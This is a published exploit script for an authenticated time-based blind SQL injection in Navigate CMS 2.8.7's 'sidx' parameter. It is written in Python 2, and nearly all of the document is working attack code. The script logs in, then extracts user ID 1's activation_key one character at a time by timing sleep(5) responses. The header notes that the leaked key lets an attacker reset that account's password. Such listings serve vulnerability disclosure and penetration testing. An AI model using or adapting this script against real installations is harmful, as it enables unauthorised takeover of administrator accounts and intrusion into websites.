Navigate CMS 2.8.7 SQL Injection

`# Exploit Title: Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated)  
# Date: 2020-06-04  
# Exploit Author: Gus Ralph  
# Vendor Homepage: https://www.navigatecms.com/en/home  
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download  
# Version: 2.8.7  
# Tested on: Ubuntu  
# CVE: N/A  
  
# This script will leak the "activation_key" value for the user who's ID is set to 1 in the database.  
# The activation key can be used to reset that user's password to whatever you want, bypassing the need to crack a hash.  
# An example password reset URL would be: `/login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB]`  
  
import requests, time, string  
  
user = raw_input("Please enter your username: \n")  
password = raw_input("Please enter your password: \n")  
URL = raw_input("Enter the target URL (in this format 'http://domain.com/navigate/'): \n")  
  
s = requests.Session()  
data = {'login-username': (None, user), 'login-password':(None, password)}  
s.post(url = URL + "login.php", files = data)  
dictionary = string.ascii_lowercase + string.ascii_uppercase + string.digits  
final = ""  
while True:  
for x in dictionary:  
payload = '(SELECT (CASE WHEN EXISTS(SELECT password FROM nv_users WHERE activation_key REGEXP BINARY "^' + str(final) + x + '.*" AND id = 1) THEN (SELECT sleep(5)) ELSE date_created END)); -- -'  
r = s.post(url = URL + "/navigate.php?fid=comments&act=1&rows=1&sidx=" + payload)  
if int(r.elapsed.total_seconds()) > 4:  
final += x  
print "Leaking contents of admin hash: " + final  
break  
else:  
pass  
`